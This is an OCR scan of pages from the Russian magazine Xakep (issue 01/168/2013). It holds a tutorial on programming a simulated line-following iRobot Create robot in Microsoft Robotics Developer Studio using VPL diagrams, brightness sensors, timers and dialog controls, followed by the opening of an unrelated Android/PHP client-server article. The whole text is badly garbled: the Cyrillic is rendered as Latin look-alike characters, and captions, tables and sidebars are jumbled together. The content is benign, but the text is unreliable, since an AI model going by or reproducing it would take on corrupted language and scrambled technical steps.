e o1 === 8
T " —
Puc. 4. Cpepa paspabotku
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KOAUHIr

KoopauHaTtb! HanpaBnenue

Ne cercopa/ 1 2 3 1 ) 3
napametp

X -01 01 0 -90 -90 -90
Y 015 0,15 0,15 0 0 0
z -02 -02 -02 O 0 0

Tabnuua 2. MapamMeTpbl ceHCOpPoB

JAns ceHcopoB MCNONb3YI0TCA Cnepytolmne 0603HaYeHus:
1— SimulatedBrightnessSensorEntity[1];

2 — SimulatedBrightnessSensorEntity[2];

3 —SimulatedBrightnessSensorEntity[3].

al ecnusapkoctb> 0,6, To ceHCOp HAXOAUTCS
3a npefenamu IMHWY;
ecnn ApkocTb < 0,6, To CEHCOP HAXOAUTCS Haf,

JINHWENR.

6

MoporoBoe 3HaueHKe A pasMyeHns SpKoCTH
JIMHUM W TOBEPXHOCTM (B paccMaTpuBaeMoM Hamu
ciyyae nopor paseH 0,6) BbIYNCAAETCSH OMBITHLIM
nyTeMm.

MMycTb poboT ocHaleH AuddepeHymanbHbIM
npuBOAOM (B COCTaB Takoro NpMBOAA BXOASAT ABa
He3aBMCUMO yrnpaBnsieMblX Koaeca 1 NaccuBHoe
KoJleco, ncronbsyemoe Ans 6anavcal u Tpems
ceHcopamu spkocTu. B Tabn. 1 Ha npepbigywent
CTpaHuWle NpuMBeAeHbl NpaBuaa ANs ynpasneHus
po60TOM, B 3aBUCUMOCTH OT COCTOSIHWIA CEHCOPOB
(k — 6a308BbIi ypoBEHb 3HEPTUM, NOABAEMOA
Ha NleBoe 1 npasoe Koseca).

Mpu yKasaHHOM KOHGUIrypaLMm CEHCOPOB OAWH
CEHCOp yCTaHaBNMBAETCA Mo LeHTpy poboTa (Hag
NMHKWelt), aBa apyrnx — no 6okam poboTa (He Hag
nuHven).

PASPABOTKA ONATPAMMBI

[laBalt paccMoTpuM npoLecc pa3paboTku fuarpam-

Mbl ynpaBneHns poboToM. OH COCTOMT W3 cnegyto-

LLMX LWaroB:

1. Co3paHue cueHbl, KoTopas byfeT copepxaTb
poboTa v nuHuto.

[ Senuiated Brghtruss SensorEntay[1]
SmulstadBnghtness SensorEntity] 3]

SmulstadBrightness SensorErtty
SimuiatedColor SensorEntity

! SmulaiedGP SEntty
1 SeistediRErtity
i SialedLRFEnly

!

SmuiatedVWeboamEntity

g

Puc. 6. Pe3ynbTaT BCTaBKN CEHCOPOB
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Puc. 5. MapameTpbi greybox

2. MopkntoyeHne K poboTy CEHCOPOB APKOCTK.
3. [lporpaMmupoBaHue poboTa Ha ABVXEHUE BLOJb
JMHAN.

CO31AHME CLLEHbBI

®opMupoBaHme CLEHb! HauHM C 3amycka CUMyns-
TOpa W BCTaBKM B clieHy poboTa. MRDS nogaep-
XKVBAET HECKONbKO Mofienelt poboTos. K nx uncny
oTHocuTcs iRobot Create. Mogenb 3toro pobota
BypeT Mcnonb3oBaThCs B CLEHE.

MoMecTn Ha guarpammy cepeuc Simulated-
GenericDifferentialDrive (SGDD u oTkpoit cBoi-
CTBa co3gaHHoro cepsuca (naHess Properties,
MyHKT MeHio View — Toolboxes — Properties).

B none Configuration HyxHo BbI6paTh nyHKT Use
a manifest. Haxmu kHonky «Import» 1 Beibepu

B cnucke MaHudect IRobot.Create.Simulation.
Manifest.xml [cM. puc. 1 puc. 2). BeibpaHHbiit
MaHudecT onpeaenseT poboTa v CLeHy, KoTopble
byayT BobaBneHbl B CUMyNSTOP.

Mocne ycTaHOBKM 3HAYeHUI NepeMeHHbIX 3a-
nycTU AnarpaMMy Ha BbINONIHEHWE, HAaXaB KaBuLLy
<F5>. Ha akpaHe nosiBUTCS OKHO, B KOTOPOM bypneT
0T06paXaTbCs X0f, BbINOSHEHUS AUarpaMmbl, Tak-
xe 3anycTutcs cumynatop. OCTaHOBUTL BbINOHE-
HUe arpaMMbl MOXKHO, 3aKpPbIB ANaN0roBoe OKHO
Run 1nu HaxaB B 3TOM 0KHe KHOMKY «Stop».

lMocne 3anycka cuMmynaTopa npucTynait Kk gpop-
MupoBaHuio cueHbl. OTKPOW pefiakTop cUMynsTopa:
nyHkT Mode — Edit rnaBHoro MeHto okHa. B nesoi
4acTy pefakTopa ecTb CMUCOK 0OBEKTOB CLeHbI
11 CBOVICTBA BbIAeNeHHOro obbekTa. 06bekT MOXHO

MepBas cTpoka

BTopas cTpoka

TpeTbs cTpoka

Puc. 7. MepBas yacTb Auarpammbi

XAKEP 01/168/2013



CraHb poboToTexHWKOM!
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Puc. 8. inanor Connections

0TMEeTUTb Ha CLieHe, BbILeNNB ero B CMUCKe 06b-
eKTOB ¥ Haxas Knasuwy <Ctrl>. [lnga nepemelterHus
BbIOPaHHOro 06beKTa MOXHO UCMONb30BaTb MEHIO
B JIeBOM HUKHEN YacTU OKHa pefiakTopa.

Ypnanu co cueHbl Bce 06beKTbl, KpoMe greybox,
ground, IRobotCreateMotorBase, MainCamera,
Sky 1 Sun. 06bekT greybox byget ncnonb3oBatbes
B Ka4ecTBe OCHOBbI AJ1s IMHWK. Bbigenu atoT 06b-
€KT B CNUCKe, CKOMUPY/ ero 1 BCTaBb B CUMYNSATOP.
KoopauHaThbl co3gaHHoi Konun obbekTa greybox
ByfyT Takue e, Kak 1y ncxoaHoro obbekTa (o
€CTb UCXOAHbI 00bEKT U Konus byayT nepe-
KpblBaTbCS B MPOCTpaHcTBe). MiaMeHnTs pasmepbl
C03/1aHHOr0 06beKTa MOXHO ClleflyloLnM 06pa3oM:
1. Bblgenu greybox B cnuncke o6bekToB.

2. Haxmu Ha kHonky «Edit Entity», oTkpoeTcs okHo,

nokasaHHoe Ha puc. 5.

3. BnyHkre BoxShape (pasnen Shape) Haxmu

Ha «...», Ha 3KpaHe 0TKPOETCS 0KHO, B KOTOPOM,

B pazgene Dimensions, MoXHO 6yAeT U3MeHNTb

pa3Mepbl 06bekTa.

Co3paBaeMas IMHWS [O/KHA HAXOANTLCS
Ha ropu30oHTaNbHON NOBEPXHOCTM, 04HAKO poboT
He [JOJKEH B3aMMOJeNCcTBOBATb C Heil. YTobbl
onpefennTb Takoe NoBefEHNE, OTKPOWi OKHO,
B KOTOPOM HaxoAATCs napameTpbl 0bbekTa
greybox (onate xe cM. puc. 5), nepeiiam B pas-
nen Misc (PasHoe) — EntityState u B nyHkTe
Misc (PasHoe) — Flags yctaHoBu asa dnara:
Kinematic u DisableCollisions. 310 no3sonunT
BPYYHYI yKa3aTb KOOpPAMHATLI 00beKTa Ha CLeHe,
a TakXXe onpefennTb, 4TO C JlaHHbIM 06bEKTOM
He BynLyT B3anMoLeNcTBOBATb Apyrie 06bekThl
cueHbl. Micnonb3ys onucaHHbIn NpreM, pasMecTy
610KU Tak, 4TobbLI OHU 06pa30BaNM 3aMKHYTYIO
nvHuto. [puMep cleHbl HAXOANTCS B MPOEKTe Ha
ancke.

lMocne co3panns cueHbl noMecTn poboTa Hap
nuHvenn. CoxpaHu co3faHHyto cueHy, Bbibpas
nyHKT MeHio File — Save Scene as... (uma daiina
ans coxpaHenus — line). B pesynbTate 6ynyT
creHepuvpoBaHbl Aga daiina — line.xml u line.
Manifest.xml. CoxpaHsiTb CLiEHY HYXHO B KaTa-
nor yctaHoBku MRDS. @aiin line.xml BkntoyaeT
onucaHue cLeHbl M 06beKTOB, KOTOPbIE B HEM Ha-
xoaaTcs, line.Manifest.xml — onucaxue ncnonb-
3yeMblx cepBucoB. Ecnin He creHeprpoBaH nepebii

XAKEP 01/168/2013

POBOTbI, NOAAEPXXWBAEMbIE MRDS

¢ LEGOMindstorms—koHcTpyKTop fNsi co3Aa-
Hus poboTa. B cocTaB KOHCTPYKTOpa BXOAAT
CEeHCOopbl, CEPBONPUBOJbI, NPOrPaMMUPYEMBIii
610k (goo.gl/iuTWc). Llena— 07280 gonna-
poB.

¢ iRobotCreate—po6oT, pa3paboTaHHblii
KoMnaHueliiRobot Ha 6a3e nnatdopMbl
poboTa-nbinecoca Roomba. Po6oTBKnlouaeT
anddepeHunanbHbii npuBoa, Habop ceHco-
poB. [porpaMMHbIii UHTepdenc no3BonseT
ynpaBnsaTb noBefeHMeM poboTa: CUUTHIBATH

dbaiin, To BTOpOit Mcnonib30BaTh byLeT Henb3s, Tak
KaK OH CCbINIaeTCs Ha NepBbIi.

OTKpoit coxpaHeHHyto cueny (dain line.
Manifest.xml) 8 nporpamme DSS Manifest Editor
(maHHas nporpamma Bxoaut 8 MRDS) v nepecoxpa-
HW ee B TOT e KaTasnor. MicxofHbIi 1 nepecoxpa-
HEHHbIN baiinbl 0TANYATCA COLEPXKUMbIM. 3aKpoit
pefakTop MaHudecta. 3akpoit cpepy VPL 1 cHoBa
OTKPOW B Hell Co3aaHHyto anarpamMmy (naHHoe
LeiCTBUE HYXKHO BbIMOMHWTb ANs Toro, 4Tobsl VPL
nepesarpy3un cnucok Maxudecrtos). B nanenu
Properties cBsxu cepuc SGDD ¢ MaHudectom
line.Manifest.xml.

NOBABJIEHUE CEHCOPOB K POBOTY

Mocne co3aanus CLeHbl MOXHO NPUCTYNUTb K Ha-

cTpoiike poboTa. B coctas iRobot He BXoaWT ceHcop

SpKOCTH, 0fHaKo cpefa MRDS no3Bonsiet nogknio-

4uTb K poboTy ceHcop. [Ins aToro:

1. 3anyctv cumynsTop.

2. Otkpoii B cumynsTope MaHndect \samples\
config\EntityUl.manifest.xml (File — Open
Manifest).

3. HaakpaHe nosiBUTCS OKHO BCTaBKM B CLIEHY
poboTa. HaXMu B 0TKpbIBLLEMCS OKHE KHOMKY
«Add Motor Base». B peaynbTaTte B cLieHy byneT
BCTaBJIeH pobor.

4. BcumynaTope nepenam B pexum pe-

LaKTpoBaHus. B cnncke 06bekToB Ao-
6aBneHHoro pobota Bbibepu ceHcop
SimulatedBrightnessSensorEntity u ckonupyit
ero (Edit— Copy). B cnucke 06beKT0B BbI-
6epu nyHkT IRobotCreateMotorBase 1 jobasb
CKOMUPOBAaHHbI ceHcop K poboTy, ncnonb3ys
nyHKT MeHto Edit — Paste as Child (cum. puc. 6).
[lobaBneHve ceHcopa Kak fjo4epHero obbekTa
CBS3bIBAET €r0 C POANUTENLCKUM 0O BEKTOM.
B aToM cnyyae pouepHuii 06bekT byaet nepe-
MeLLaTbCS M0 CLIeHe BMeCTe C POANTENbCKUM.
[lobaBb TaknM e 0bpa3oM k poboTy eLLe fBa
CeHcopa sipKoCTH.

5. MMepenzu B pexxum Run 1 coxpaHu nonyyYeHHyto
cueHy. [Mocne 3Toro 0TKpoM CLEHY B porpaMme
DSS Manifest Editor u coxpaHu 3arpy»eHHbli
MaHUECT Mo TeM e UMeHeM (MYHKT MeHI0
File — CoxpaHuTb). Mocre coxpaHeHus nosyyeH-
HbI MaHWdECT MOXKHO UCNOb30BaTh NpU pas-
paboTke AyarpamMMsl.

MHGbOPMAaLMI0 C CEHCOPOB, yNpaBAsATL NpU-
BOAIOM, BbINOJIHATL 3BYKOBbIE KOMaHAbl (g00.
gl/x0tuz). LleHa—oT 127 gonnapos.

e Boe-Bot—Habop 3neKTpoHHbIX KOMMNOHEHTOB,
M3 KOTOPOro MOXHO cobpaTtb poboTa.BcocTas
HabopaBxoAATnporpaMMMpyeMblit MUKPO-
KOHTpOJiep, NpoBoAa, Pe3UCTOPbI, KOHAEH-
caTopbl, TpaH3MCTOpbl, GOTOPE3UCTOPHI,
MHOpPaKpacHbIN AaTYMK, AATYMK faBIIEHUS,
aNloMMHMeBas paMa, iBa CepBoMoTopa u Ko-
neca(goo.gl/38bll). Lena—oT1 160 gonnapos.

BcTaBneHHble ceHCopbl He BU3yanuaupyloTcs
Ha cLeHe. [1ns 0bo3HaueHns ceHcopa Ha cueHe
MOXHO 3arpy3uTb 11 Hero rpaduyeckyio Moaesb,
Hanpumep Arrow.obj (gaHHas Mogens BXoguT B no-
crasky MRDS).

OTkpo¥i 0KHO NapamMeTpoB 06bekTa Simula-
tedBrightnessSensorEntity, nepeign B pasgen
Misc (PasHoe) — EntityState n B nyHkTe Graphic
Assets — Mesh ykaxu, uTo rpadunyeckas mogens
A5 CeHcopa 3arpyxaeTcs U3 paina Arrow.obj.
lMocne BU3yanu3sauum ceHcopa MOXHO YBUJETb,
KaK CeHcop pacnonaraeTcsi 0THOCUTeNbHO poboTa,
a Takxe HarnsAHO BbIMOJHUTb €ro nepeMeLleHne
no cueHe. KoopAnHaThl KaXaoro ceHcopa 1 ux Ha-
npaBfeHus B NPOCTpaHCTBE NpuBefeHbl B Tabn. 2.

PA3PABOTKA YMPABJISIIOLLEN

OUATPAMMbBI

CornacHo nocTaB/ieHHON 3afave, Auarpamma

L0JDKHa NpefocTaBisiTh BO3MOXHOCTb 3amnyckaTb

1 0CTaHaBAMBATb [BWXeHWe poboTa, a Takxe

y4uTbIBaTb BPEMS iBWXKEHUs poboTa. YCioBHO

AvarpaMmMy yrnpassieHust poboToM MOXHO pa3buTb

Ha TpU YacTu:

1. TepBas YacTb BKAOYAET BNOKM ANA MHULMANN-
331 NepeMeHHbIX, y4eTa BpeMeHU BKeHNS
poboTa v ero oTobpaxeHus.

2. Bropas yacTb 0TBEYaeT 3a 3aMyCK 1 0CTaHOBKY
LBVXeHns poboTa.

3. TpeTbs 4acTb BbIMONHSAET yrpaBAeHNe ABUKEHM-
eM poboTa Ha 0CHOBE NoKa3aHU CEHCOPOB.

PaccmoTpuM nepeMerHble, HeobxonuMble

L5 peanusaLum anroputMa:

¢ drive (tun bool] —ucnonb3yetcs ang paspelle-
HUS UM 3anpeTa ABVXeHNs poboTa;

e k(mnint) —wucnonb3syetcs anga ynpasnenns
JHeprueit, nogaBaeMoit Ha Konieca poboTa;

e time (Tunint) —Bpema gBM*eHNs poboTa;

o Left, Right, Center (tun bool) — onuceisator
COCTOSIHME JIEBOTO, NPABOro W LIeHTPabHOro
CEHCOpOB SPKOCTY.

[l06aBWTb NepeMeHHbIe Ha AMarpaMmMy MOXHO € No-
MoLLbio Auanorosoro okHa Define Variables (Edit —
Variables).

Broku, oTHocsiILWMecs K NepBOM YacTy, no-
KasaHbl Ha puc. 7. C nomolblo napsbl bnokos Data
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Puc. 10. fnanor Data Connections

(1) n Variable (2] yctaHaBnusaeTcs 3HaueHue
nepemenHoit k. Data xpaHuT yncno, kotopoe byaet
3anwcaHo B nepeMeHHytwo k. Mpu akTnBayum bnoka
Data 3HayeHwe, HaxogALleecs B TeKCTOBOM MoJie,
nomellaetcs B coobuieHne DataValue (none Value)
1 oTnpaBnsieTcs Ha Bxof 61oka Variable. Janee
6ok Variable ¢ nomowblo genctens SetValue ycTa-
HaBAWBAET 3HaueHue nepeMerHoii k. [lns nepe-
naym coobuieHns ot Data k Variable coeguum 31
bnoku. MosBUTCSA [Uanor co3faHus CBA3N Mexay
6nokamu (Connections). B gnanore Connections
(cMm. puc. 8) ykasbiBaeTcs ucxoasiiee cooblieHne
6noka (none From) u geiicteune (none To), Ha Bxop,
KoToporo coobuieHue otnpasnsetcs. Coobue-
Hue DataValue nepepaetcs c Beixoaa 6noka Data
Ha Bxof feicteuga SetValue 6noka Variable.
Coenunu Variable (2) v Data (3). YnpasneHue
IBWXeHeM poboTa (3anyck, ocTaHoBKal, a Takxke
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oTobpaxeHue BpeMeHu ABvKeHUs poboTa Bbl-
MOJTHAETCS B [1aN0roBOM OKHe, KOTOPOe COo3[aeTcs
cepaucoM FlexibleDialog. MoMecTu aaHHbIN cepBuc
Ha farpamMMmy U CKOHGUTYpUpy# ero B naHesu
Properties Tak, kak nokasaHo Ha puc. 9.

B fnanoroBoe 0KHO MOXHO MOMECTUTL KOMMO-
HeHTbI ABYX BULOB: YNPaBAsioL/e deMeHThl (pas-
nen Controls nanenu Properties) u kHonku (pasgen
Buttons). 3nemeHTbl ynpasnexus pasMeLlatorcs
B [111a/10rOBOM OKHE B TOV Xe NocfefoBaTeNbHOCTH,
B KaKOii OHU BbINM CO3AaHbI B MaHENN UHCTPY-
meHTOB Properties. MapameTp Id ucnonbsyetcs
LIS NPOrPaMMHOT0 yNpaBeHust 3N1eMeHTOM.

Mocne HacTtpoiikm FlexibleDialog byneT conep-
XaTb fiBe KHOMKM W CTaTU4Yeckunii TekcT. [lns oTo-
BpaxeHWs [1anoroBoro OKHa Ha 3KpaHe HYXHO
BbI3BaTb MeTOA Show, nepenas eMy B KayecTBe
napameTpa 3HaueHue true. [laHHoe feicTBKE BbI-
nosHAeTcs ¢ nomoLbio 6rokos (3) u (4).

Mpu coepnnernn Data (3) v FlexibleDialog (4)
oTKpblBaeTcs Ananorosoe okHo Connections, B Ko-
TOPOM HYXHO YKa3aTb, 4TO Co0bLLEHME C BbIXOAA
6noka Data oTnpaBnsieTcs Ha Bxog fencteus Show
cepsuca FlexibleDialog. [lanee Ha 3kpaHe nosiBuT-
cs puanoroeoe okHo Data Connections (puc. 10),

B KOTOPOM HYXHO YCTaHOBUTb COOTBETCTBUE MEXTY
nonsamu coobuieHus (Value) n napameTpamm Bbi-
3biBaeMoro aercteua (Target).

Pe3ynbTaToM BbINOHEHMUS CEPBUCOM
FlexibleDialog peiictBus Show MoxeT bbITh
Success unw Fault. MoatoMmy npu co3aaHnm cBsizu
Mexgy bnokamu FlexibleDialog v Data ykaxw,
4TO B C/lyyae ycnewHoro oTobpaxenus ananoroso-
ro oKHa Ha 3kpaHe (Show — Success), ynpasnetue
byneT nepenaro 6noky Data. [lns atoro nepepait
coobuieHne Show — Success Ha Bxoj, AeNCTBUSA
Create 6s10ka Data.

Coegnunu 610km Data (5) n Variable (6) pns ycra-
HOBKW 3Ha4YeHWs nepeMeHHol drive. Bo BTopoit
CTPOKe AnarpamMMbl MHALMANN3NPYeTCs 3HaYeHne
nepeMeHHo time 1 ycTaHaBnMBaeTCs Taimep
Ha cpabaTbiBaHue yepe3 1000 MunaMcekyHA.

Coepunu Data (1) n Variable (2), Variable
(2) v Data (3). Bnok Data (3) HyHO coeanHNTb
c 6nokom If (4] (npumeyanue: 6ok Merge byget
nobasneH nosgHee). bnok If, B 3aBucUMocTH
0T UCTUHHOCTU UAM NOXKHOCTY YCNOBWS, 3aAaH-
HOrO B TEKCTOBOM MOJ1e, OTNPaBnseT coobLieHne,
nofly4yeHHOe Ha BX0Z, Ha NepBbIi UK BTOPOM
BbIX0f,. ECin ycnoBue oka3biBaeTCs NCTUHHBIM,

To BXOAsLee coobLieHVe nepeaeTcs Ha nepeblii
BbIXOf, €C/IU JIOXKHO — Ha BTopoii (Else). Mpw 3a-
MYUCKW YCNOBUS MOTYT UCMONb30BATLCS NOrNYeckmne
onepaTopbl, NOKa3aHHbIe B COOTBETCTBYIOLLEN
Tabnuue.

B paccmaTpuBaeMoii gnarpamme 6ok If
aHanu3upyeT 3HayeHue nepemeHHon drive (goctyn
K 3HaYeHWIo AaHHO NepeMeHHON BbIMONHAETCS
C noMolLblo BblpaXeHus state.drive). B ciyyae
WCTUHHOCTW 3HAYEHWs NepeMeHHoW TaliMep
ycTaHaBiMBaeTcs Ha cpabaTbiBaHue yepes 1000
MUIITINCEKYHA.

Coeputn If (4) n Timer (5). Cepsuc Timer cny-
XKUT NS reHepaLnm coobLieHnit Yepes yKasaHHbI
NpOMeXyToK BpeMeHu. Mpn coeanHeHny 61okos (4)
n (5) ykaxu, uTo BbI3blBaeTCA AeiicTeue SetTimer.
[laHHoe feficTBMe 3anyckaeT TaliMep, KOTopbIi

Connections:

From: To:
TrueChoice SetTimer
Data Connections:

Value Target

1000 Interval

Tabnuua 3. MapameTpbl coepuHenus If u Timer

Connections:
From: To:
SetValue UpdateControl
Data Connections:

Value Target

“time" Id
FlexControlType.Label ControlType
"Bpems: " +state.time Text

Value

Tabnuua 4. MapameTpbl coeanHeHus Variable u FlexibleDialog

Connections:
From: To:

CalculatedResult SetDrivePower

Data Connections:
Value Target
Value LeftWheelPower
Value RightWheelPower

Ta6nuua 5. MapameTpel coeautHenus Calculate n SGDD

Connections:

From: To:

SetDrivePower
Data Connections:

TrueChoice

Value Target
state.k LeftWheelPower
0.1*state.k RightWheelPower

Tabnuua 6. NapameTpbl coeautenus If u SGDD

LOJDKEH cpaboTaTh Yepes yKasaHHbI NPOMEXYTOK
BpeMeHu (cM. napametp Interval B guanorosom
okHe Data Connections). MapameTpsl coepuHerus
610KoB NpuBeLeHbl B Tabs. 3.

[ns Toro ytobbl ykasatb 3HayeHune 1000
B none Value, yctaHosu pnaxok «Edit values
directly» B HWXHel YacTu fuanorosoro okHa Data
Connections. MomecTu Ha auarpammy 610ku, pas-
MeLLEeHHble B TPETbeN CTPOKe, 1 COeAMNHU YBE[OM-
nsoumit Beixog cepsuca Timer (1) v Bxop 610ka
Calculate (2). B pesynbTate Ha Bxog Calculate
bynet oTnpasneHo coobujeHne TimerComplete.
Coepunu 6noku Calculate(2) u Variable (3).

Mo ucteyeHunn 1000 MunancekyHg Taimep
cpabaTbiBaeT U reHepupyeTcs yBefoMasiolLee

XAKEP 01/168/2013



CraHb poboToTexHWKOM!

coobuerune TimerComplete. [lanee ynpaBneHnve
nepepaetcs Ha 6nok Calculate, koTopbiit nprbas-
NISeT K TeKyLLeMy 3HaueHuno nepeMeHHom time
e[IMHNLY 1 0TNPaBASeT NoNyYeHHOEe 3Ha4YeHne

Ha Bbixop 6noka. bnok Variable obHoBnAeT 3Ha-
yeHue nepeMeHHon time.

[N usMeHeHns 3HaYeHUs BpeMeHu B Anano-
roBOM OKHe HyXHO Bbi3BaTb MeTof, UpdateControl
cepsuca FlexibleDialog. 1ns 3Toro Tebe HyXHo
coeanHnT 6noku Variable (3) n FlexibleDialog
(4). MapaMeTpbl coeaMHeHNa NpuBeeHbl B Tab.
4 cneBa.

TaliMep, ycTaHOBINEHHbIN ¢ nomolybio SetTimer,
MOXeT cpaboTaTb ToNIbKO 0fuH pas. s Toro
4TOObI TaliMep cpabaTbiBan NepUOANYECKH, MEXLY
BTOPOM 1 TpeTbei CTPOKOM C NOMOLLblo 610Ka
Merge co3paHa cBa3b. bnok Merge otnpaBnsiet
Ha CBOM BbIX0f, CO0bLLEHME cpa3y, Kak TOMbKO OHO
NPUXOAUT Ha ero Bxog. B pesynbTate nocne cpaba-
TbIBaHUS TaliMepa coobLieHne CHOBa OTMpaBIseTCs
Ha Bxoj cepsuca Timer.

PaccMoTpuM BTOpYIO YacTb Anarpammbl (cM.
puc. 11). B jaHHOIA 4aCTK aMarpaMMbl BbINOSHS-
eTcs 06paboTka HaXaTWil KHOMOK LManorosoro

0KHa W 0TNpaBKa ynpaBAsioLmMx KOMaHS Ha 3anyck

1 0CTaHOBKY [iBWXeHWs poboTa. Pa3amecTy Ha ayua-

rpamMmy 610ku, nokasaHHble Ha puc. 11. CoefuHn

yBefoMAstoWwmMii Bbixog, cepBuca FlexibleDialog

1 6nok If, oTnpasuB Ha Bxog If coobLieHne

ButtonPress.

YcnoBus, ykasaHHble B nonsx bnoka If, mo-
3BOJIFIOT ONPEfeNuTb KHOMKY, KoTopas bbina
HaXaTa B AManoroBoM okHe. Eciiv HaxaTa KHoMKa
«CrapT», TOrpa:

e BriepeMeHHyto drive 3anucsiBaeTcs 3HaYeHue
true 1 3anycKaeTcs CYETYUK BPEMEHU BUXKEHNS
poboTa;

e crnomolblo cepanca SGDD poboTy oTnpasnseTcs
KOMaHza Ha ABMKeHwe (479 3Toro Bbi3biBaeTCa
meTog SetDrivePower). MeTop SetDrivePower
3a[jaeT 3HaYeHWe IHepruy, NofaBaeMoe Ha fe-
BOe W npaBoe Kofieca poboTa. [apameTpsl co-
efinHeHws 6nokos Calculate n SGDD npuseneHb
BTabn. 5.

Ecnun HaxaTa kHonka «Cton», Torga cepsuc SGDD
0CTaHaB/IMBaEeT ABWXeHWe poboTa, B nepeMeHHyto
drive 3anucbiBaetcs false.

Gl__

Puc. 11. Bropas yacTb Auarpammbl
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Puc. 12. TpeTbs YacTb AuarpaMmbl

XAKEP 01/168/2013

B tpetbeit yacTu guarpammbl (cM. puc. 12)
BbIMOJIHSAETCS 00paboTka AaHHbIX OT CEHCOPOB
¥ ynpaBneHuve aBuxeHneM pobota. ina goctyna
K CEHCOopy SipKoCTH poboTa UCMosb3yeTcs cepeuc
SimulatedPhotoCellBrightnessSensor. [laHHblIl
CepBUC NepuoaNYeCcKM 3anpaLlrBaeT y ceHcopa
LaHHble ¥ 0TNPaBAfET UX Ha CBOW BbIXOA B yBe-
nomnsioLeM coobueHnn AnalogSensorUpdate.
CoobuieHne AnalogSensorUpdate cogepxuT none
NormalizedMeasurement, koTopoe xpaHuT 3Ha-
YeHWe APKOCTH, CYNTAHHOE CEHCOPOM (3HadeHue
HopMasin3oBaHo Ha otpeske [0; 1]).

[lobaBb Ha anarpammy Tpu cepsuca Simula-
tedPhotoCellBrightnessSensor. [pu go6asnexun
BTOPOTO W TPETbEro CEPBUCOB Ha 3KpaHe NosBUTCS
[ManoroBoe 0KHO, B KOTOPOM YKaxU, YTo co3fa-
eTca HoBbIN cepsuc (BbiBepu NyHKT «Add a new
activity»), a He Konua cyulecTsyloLiero.

Cesxu kaxabiii cepsuc SimulatedPhotoCell-
BrightnessSensor ¢ cencopom sipkocTu. [1ns atoro
B nNaHenw Properties ans cepenca Simulated-
PhotoCellBrightnessSensor HeobxonuMo ykasaTs,
4TO OH CBfA3aH ¢ «simbrightnessensor0 in line.
Manifest.xml», cepsuc SimulatedPhotoCellBrigh
tnessSensor0 — c «simbrightnessensor1 in line.
Manifest.xml», cepsuc SimulatedPhotoCellBrigh
tnessSensor1 — c «simbrightnessensor in line.
Manifest.xml».

3HaueHwe Kax[oro ceHcopa aHanusunpyetcs
B 6noke Calculate. Ecnu 3HauyeHwne spkocTu bonblue
0,6, To 3HaueHwne nepemenrHoi (Left, Right nnn
Center), cBA3aHHOM C CEHCOPOM, yCTaHABNMBAETCS
B 1, nvaye — B 0. [lanee Ha 0CHOBe NoNyYeHHbIX
3HayeHwni nepeMeHHbIx Left, Right n Center c no-
molbto bnokos If n SGDD yctaHaBnnBaeTcs Konu-
4ecTBO IHEpruy, NofaBaeMoe Ha ieBoe U NpaBoe
Koneca pobota. [apameTpsl CoeAnHeHUs Nepeoro
BbIxofa 6noka If u cepsuca SGDD npusefeHbl
B Tabn. 6. OcTanbHble HacTponku cBa3u bnokos If
1 SGDD BbinonHu cam, ncnonb3ays Tabn. 1. 3anyctm
pa3paboTaHHyt AuMarpaMMy Ha BbIMoJHEHMe,

B pe3ynbTaTe byLeT oTKpbIT cuMynsTop co chop-
MWUPOBaHHOM CLEHON 1 POBOT HAYHET ABMKEHME
o MHUU.

Mocne 3anycka cpefa pa3paboTku akTuBMpYeT
6noku Data, Haxopgsiwmecs B nepson cTpoke. [a-
Jlee 3anyckaeTcs NpoLecc yCTaHoBKMW TaliMepoB
1 06paboTKM faHHbIX, NOCTyNaloLLKUX OT CEHCOPOB,
Ha aKpaHe 0TobpaxaeTcs CUMYAATOP U AnManoro-
BOe OKHO ynpaBieHns poboToM. Mocne HaxaTus
Ha KHonky «CTapT» poboT HaYnHaeT fBUXeHUe
BLJOJb JIMHWW, 3anyckaeTcs oTcyeT BpeMeru. [o-
cfle HaxaTnsa Ha KHonky «Cton» poboT ocTaHas-
NINBaeT iBUXEHNE, 0TCYET BPEMEHM NPUOCTaHaB-
nnBaetcs.

3AKJIFOYEHWE

OnucaHHblii B cTaTbe CNocob co3aaHus cueHbl

¥ ynpaBfieHns COCTaBOM CeHcopoB poboTa no-
3BONISET peLlaThb LOCTATOUHO CJOXKHbIE U pa3Ho-
obpa3Hble 3anaun (Hanpumep, obxog nabupuHTa,
KEpJIMHT 1 Tak janee).

Kpome Toro, 3Ha4MTesIbHO NOBbICUTbL YPOBEHb
CNOXHOCTY peluaeMblx 3a4ay No3BONNT COBMECT-
Hoe ucnonb3oBaHue Microsoft Robotics Developer
Studio n Visual C#. OgHako 370, Kak roBopuTcs,
yXe COBCEM fipyrasi uctopus. 3C
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KOAUHI

HaLL KIIMeHT —

aHgpoup!

CNAPUBAEM PHP

U JAVA/ANDROID

B 3KCTA3E KJIUEHT-
CEPBEPHOIO
NMPUJIOXKEHUA

Android — poBoSIbHO NPOABMHYTasa Naathopma,
M NS Hee MOXHO pa3pabaTbiBaTb caMble
pasHble npunoxeHus. CerofgHs Mbl pacCMOTPUM
NpvMep CO3L4aHWs OTHOCUTESIbHO MPOCTOro
KNIMEeHT-CEPBEPHOr0 NpUoXKeHUs. Mbl Hayuynum
Hawe Android-npunoxeHne obMeHMBaTbLCA
MHpOpMaLIMe C CEpBEPOM M AaXKe Hanuwem
bonbloe cepBepHoe nNpunoxeHune Ha PHP.

KAK 3TO BYJET PABOTATB?

MpepcTaBum, yTo rae-to B CeTny Hac ecTb cepBep 6a3 [aHHbIX W Mbl
XOTUM MONY4YnTb U3 HEro MHGopMaLuio, KoTopas bygeT oTobpaxeHa

B Android-npunoxeHun. CepsepHoe npunoxexue dygeT peann3oBaHo
Ha PHP (MoxHo cfienaTb 370 Ha 1lo60M A3biKe NporpamMMmUpoBaHna).
Android-kaueHT ByaeT nogkyYaThes K Hawemy cepsepy (k PHP-
cueHapuio), nepepasaTb MHbopmaumio (KoMaHay), nonyyats pesynsrar
1 oTobpaxatb ero. [pu 3TOM He HYXKHO 10MaTb roO10BY, KaK NOAKI0-
untb Android-npunoxenve k Oracle. C 6a3oi faHHbIX byneT pabo-
TaTb PHP-cuenapwuit, a Android-knneHT BygeT ToabKo yKa3blBaTh,
Kakyto MHGOpMaLIMIo HYXHO NOY4UuTb, 1 0TobpaxaTb 0TBET cepBepa.
Mpwu 3TOM BoOOLLE HE HYXHO BecnokouTbCs 0 NoLaepxke 6a3 faHHbIX
B Android: Bcs Heobxogumas nopnepxka bynet obecneunBatbcs PHP.
He roBops y>e 0 TOM, 4TO C IETKOCTbI MOXKHO MEHSATb caM cepsep ba3
